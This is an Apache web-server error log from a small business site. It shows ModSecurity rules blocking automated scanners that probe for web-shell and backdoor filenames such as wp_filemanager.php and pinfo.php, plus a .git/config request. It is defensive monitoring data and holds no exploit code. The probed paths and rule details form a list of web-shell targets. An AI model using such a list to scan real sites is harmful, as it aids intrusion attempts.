[Fri Apr 24 08:10:00.948919 2026] [:error] [pid 19101:tid 19150] [client 158.158.109.204:59683] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acc.php"] [unique_id "aeq02GAHj9bEvrTgbO0U8QAAAE0"]
[Fri Apr 24 08:10:03.956182 2026] [:error] [pid 19100:tid 19114] [client 158.158.109.204:40705] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acc.php"] [unique_id "aeq027F_hzQs4CqbifdL1gAAAAU"]
[Fri Apr 24 08:10:07.750135 2026] [:error] [pid 19100:tid 19130] [client 158.158.109.204:47566] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acc.php"] [unique_id "aeq037F_hzQs4CqbifdL2gAAABQ"]
[Fri Apr 24 08:10:11.648161 2026] [:error] [pid 19102:tid 19165] [client 158.158.109.204:43018] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acc.php"] [unique_id "aeq04wDSgrbLEZbkqD4cewAAAIE"]
[Fri Apr 24 08:10:14.742333 2026] [:error] [pid 19200:tid 19230] [client 158.158.109.204:40963] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asasx.php"] [unique_id "aeq05jQ--M3-tsKAnhEJ_wAAANY"]
[Fri Apr 24 08:10:17.757375 2026] [:error] [pid 52129:tid 52149] [client 158.158.109.204:38823] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asasx.php"] [unique_id "aeq06eKCZKf8_u2LKiD9JAAAARA"]
[Fri Apr 24 08:10:20.796145 2026] [:error] [pid 19200:tid 19224] [client 158.158.109.204:44137] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asasx.php"] [unique_id "aeq07DQ--M3-tsKAnhEKCAAAANA"]
[Fri Apr 24 08:10:23.263248 2026] [:error] [pid 19102:tid 19185] [client 158.158.109.204:62787] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asasx.php"] [unique_id "aeq07wDSgrbLEZbkqD4cjwAAAJU"]
[Fri Apr 24 08:10:25.808837 2026] [:error] [pid 19200:tid 19215] [client 158.158.109.204:38828] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeq08TQ--M3-tsKAnhEKDwAAAMc"]
[Fri Apr 24 08:10:28.470739 2026] [:error] [pid 19200:tid 19216] [client 158.158.109.204:51623] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeq09DQ--M3-tsKAnhEKGAAAAMg"]
[Fri Apr 24 08:10:33.841189 2026] [:error] [pid 19102:tid 19167] [client 158.158.109.204:62788] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeq0-QDSgrbLEZbkqD4cnAAAAIM"]
[Fri Apr 24 08:10:36.466673 2026] [:error] [pid 52129:tid 52139] [client 158.158.109.204:43016] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeq0_OKCZKf8_u2LKiD9QQAAAQY"]
[Fri Apr 24 08:10:46.295979 2026] [:error] [pid 52129:tid 52152] [client 158.158.109.204:62831] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/packsin1.php"] [unique_id "aeq1BuKCZKf8_u2LKiD9bwAAARM"]
[Fri Apr 24 08:10:55.303490 2026] [:error] [pid 52129:tid 52152] [client 158.158.109.204:59638] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "aeq1D-KCZKf8_u2LKiD9cwAAARM"]
[Fri Apr 24 08:10:56.572642 2026] [:error] [pid 52129:tid 52146] [client 158.158.109.204:55691] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "aeq1EOKCZKf8_u2LKiD9dwAAAQ0"]
[Fri Apr 24 08:10:58.635631 2026] [:error] [pid 19102:tid 19184] [client 158.158.109.204:50238] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "aeq1EgDSgrbLEZbkqD4cvwAAAJQ"]
[Fri Apr 24 08:11:02.876588 2026] [proxy_fcgi:error] [pid 19200:tid 19232] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:03.119599 2026] [proxy_fcgi:error] [pid 19200:tid 19217] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:03.375563 2026] [proxy_fcgi:error] [pid 19200:tid 19229] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:03.631777 2026] [proxy_fcgi:error] [pid 19200:tid 19211] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:03.882715 2026] [proxy_fcgi:error] [pid 19200:tid 19228] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:04.128255 2026] [proxy_fcgi:error] [pid 19200:tid 19224] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:04.372458 2026] [proxy_fcgi:error] [pid 19200:tid 19221] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:04.615157 2026] [proxy_fcgi:error] [pid 19200:tid 19208] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:04.860675 2026] [proxy_fcgi:error] [pid 19200:tid 19218] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:05.107132 2026] [proxy_fcgi:error] [pid 19200:tid 19227] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:05.349135 2026] [proxy_fcgi:error] [pid 19200:tid 19230] [client 158.158.109.204:46305] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:11:05.595030 2026] [:error] [pid 19200:tid 19220] [client 158.158.109.204:46305] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ww.php"] [unique_id "aeq1GTQ--M3-tsKAnhEKjwAAAMw"]
[Fri Apr 24 08:11:08.097105 2026] [:error] [pid 52129:tid 52155] [client 158.158.109.204:53687] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ww.php"] [unique_id "aeq1HOKCZKf8_u2LKiD9qgAAARY"]
[Fri Apr 24 08:11:09.185502 2026] [:error] [pid 19200:tid 19217] [client 158.158.109.204:46304] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ww.php"] [unique_id "aeq1HTQ--M3-tsKAnhEKlQAAAMk"]
[Fri Apr 24 08:11:16.145011 2026] [:error] [pid 19100:tid 19125] [client 158.158.109.204:62269] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ww.php"] [unique_id "aeq1JLF_hzQs4CqbifdMJgAAAA8"]
[Fri Apr 24 08:11:18.788471 2026] [:error] [pid 19200:tid 19213] [client 158.158.109.204:55692] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "aeq1JjQ--M3-tsKAnhEKqQAAAMU"]
[Fri Apr 24 08:11:22.275940 2026] [:error] [pid 52129:tid 52134] [client 158.158.109.204:41873] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "aeq1KuKCZKf8_u2LKiD-NgAAAQE"]
[Fri Apr 24 08:11:25.583303 2026] [:error] [pid 19102:tid 19187] [client 158.158.109.204:41052] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "aeq1LQDSgrbLEZbkqD4c5AAAAJc"]
[Fri Apr 24 08:11:28.744712 2026] [:error] [pid 52129:tid 52153] [client 158.158.109.204:40439] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "aeq1MOKCZKf8_u2LKiD-UQAAARQ"]
[Fri Apr 24 08:11:35.474458 2026] [:error] [pid 19101:tid 19144] [client 158.158.109.204:6717] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aeq1N2AHj9bEvrTgbO0VUwAAAEc"]
[Fri Apr 24 08:11:38.685510 2026] [:error] [pid 19200:tid 19227] [client 158.158.109.204:42325] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aeq1OjQ--M3-tsKAnhEKvgAAANM"]
[Fri Apr 24 08:11:43.224824 2026] [:error] [pid 19102:tid 19188] [client 158.158.109.204:41890] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aeq1PwDSgrbLEZbkqD4dDAAAAJg"]
[Fri Apr 24 08:11:46.879769 2026] [:error] [pid 52129:tid 52145] [client 158.158.109.204:6688] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit-tags.php"] [unique_id "aeq1QuKCZKf8_u2LKiD-jQAAAQw"]
[Fri Apr 24 08:11:51.228245 2026] [:error] [pid 52129:tid 52141] [client 158.158.109.204:44061] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit-tags.php"] [unique_id "aeq1R-KCZKf8_u2LKiD-kwAAAQg"]
[Fri Apr 24 08:11:52.668858 2026] [:error] [pid 52129:tid 52157] [client 158.158.109.204:6867] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit-tags.php"] [unique_id "aeq1SOKCZKf8_u2LKiD-mwAAARg"]
[Fri Apr 24 08:11:53.249183 2026] [:error] [pid 19200:tid 19214] [client 158.158.109.204:6879] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit-tags.php"] [unique_id "aeq1STQ--M3-tsKAnhEK9wAAAMY"]
[Fri Apr 24 08:11:56.540207 2026] [:error] [pid 19101:tid 19137] [client 158.158.109.204:56976] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aeq1TGAHj9bEvrTgbO0VYgAAAEA"]
[Fri Apr 24 08:12:06.059989 2026] [proxy_fcgi:error] [pid 52129:tid 52141] [client 158.158.109.204:65324] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:12:06.304901 2026] [proxy_fcgi:error] [pid 52129:tid 52144] [client 158.158.109.204:65324] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:12:06.552745 2026] [proxy_fcgi:error] [pid 52129:tid 52133] [client 158.158.109.204:65324] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:12:06.797917 2026] [proxy_fcgi:error] [pid 52129:tid 52138] [client 158.158.109.204:65324] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:12:07.061782 2026] [proxy_fcgi:error] [pid 52129:tid 52135] [client 158.158.109.204:65324] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 12:29:48.506472 2026] [autoindex:error] [pid 17721:tid 17788] [client 207.180.233.81:51026] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 24 17:22:46.091111 2026] [:error] [pid 17808:tid 17824] [client 195.178.110.241:53312] [client 195.178.110.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aes2ZuarbOEFI8qshvLrJgAAAE4"]
[Fri Apr 24 17:58:39.219125 2026] [:error] [pid 17720:tid 17762] [client 34.58.239.158:55040] [client 34.58.239.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aes-z-hlUs6BS3Ng7_Va9wAAAMg"]
[Fri Apr 24 17:58:39.763115 2026] [:error] [pid 4177:tid 4208] [client 34.58.239.158:53841] [client 34.58.239.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aes-z32asKnvdrSe0x6mvgAAAZc"]
[Fri Apr 24 17:58:40.504246 2026] [:error] [pid 17719:tid 17751] [client 34.58.239.158:64328] [client 34.58.239.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aes-0MTZ9gzEyL1BkPqHSwAAAJg"]
[Fri Apr 24 21:36:28.133897 2026] [:error] [pid 17720:tid 17758] [client 51.103.42.147:11049] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aetx3OhlUs6BS3Ng7_W42QAAAMQ"]
[Fri Apr 24 21:36:28.918356 2026] [:error] [pid 17720:tid 17757] [client 51.103.42.147:16305] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aetx3OhlUs6BS3Ng7_W42wAAAMM"]
[Fri Apr 24 21:36:31.335781 2026] [:error] [pid 4177:tid 4201] [client 51.103.42.147:16817] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aetx332asKnvdrSe0x4tWgAAAZA"]
[Fri Apr 24 21:36:31.977671 2026] [:error] [pid 17721:tid 17801] [client 51.103.42.147:29275] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aetx3-FXXkLeyDnfk_9HBwAAABQ"]
[Sat Apr 25 03:59:06.979036 2026] [proxy_fcgi:error] [pid 44321:tid 44383] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:07.242155 2026] [proxy_fcgi:error] [pid 44321:tid 44400] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:07.508471 2026] [proxy_fcgi:error] [pid 44321:tid 44390] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:07.771644 2026] [proxy_fcgi:error] [pid 44321:tid 44386] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:08.042076 2026] [proxy_fcgi:error] [pid 44321:tid 44391] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:08.310042 2026] [proxy_fcgi:error] [pid 44321:tid 44387] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:08.573112 2026] [proxy_fcgi:error] [pid 44321:tid 44394] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:08.851792 2026] [proxy_fcgi:error] [pid 44321:tid 44405] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:09.114580 2026] [proxy_fcgi:error] [pid 44321:tid 44397] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:09.376762 2026] [proxy_fcgi:error] [pid 44321:tid 44388] [client 20.251.112.6:49690] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 03:59:09.662498 2026] [:error] [pid 44321:tid 44399] [client 20.251.112.6:49690] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pinfo.php"] [unique_id "aevLjY1b5lV-asWa_Y4CYgAAAJA"]
[Sat Apr 25 03:59:10.426521 2026] [:error] [pid 44321:tid 44406] [client 20.251.112.6:4620] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pinfo.php"] [unique_id "aevLjo1b5lV-asWa_Y4CYwAAAJc"]
[Sat Apr 25 03:59:11.200096 2026] [:error] [pid 44321:tid 44393] [client 20.251.112.6:43107] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pinfo.php"] [unique_id "aevLj41b5lV-asWa_Y4CZQAAAIo"]
[Sat Apr 25 03:59:12.095812 2026] [:error] [pid 44321:tid 44385] [client 20.251.112.6:38133] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pinfo.php"] [unique_id "aevLkI1b5lV-asWa_Y4CaAAAAII"]
[Sat Apr 25 03:59:13.097037 2026] [:error] [pid 44319:tid 44339] [client 20.251.112.6:33021] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/litespeed.php"] [unique_id "aevLkczJPAVLUb2pWtI1ywAAAAo"]
[Sat Apr 25 03:59:14.011271 2026] [:error] [pid 44320:tid 44364] [client 20.251.112.6:4208] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/litespeed.php"] [unique_id "aevLkjmFqSpku_dij8hT8wAAAEg"]
[Sat Apr 25 03:59:15.552613 2026] [:error] [pid 44425:tid 44429] [client 20.251.112.6:4203] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/litespeed.php"] [unique_id "aevLkyUl-VlItvY2tR_NdgAAAMI"]
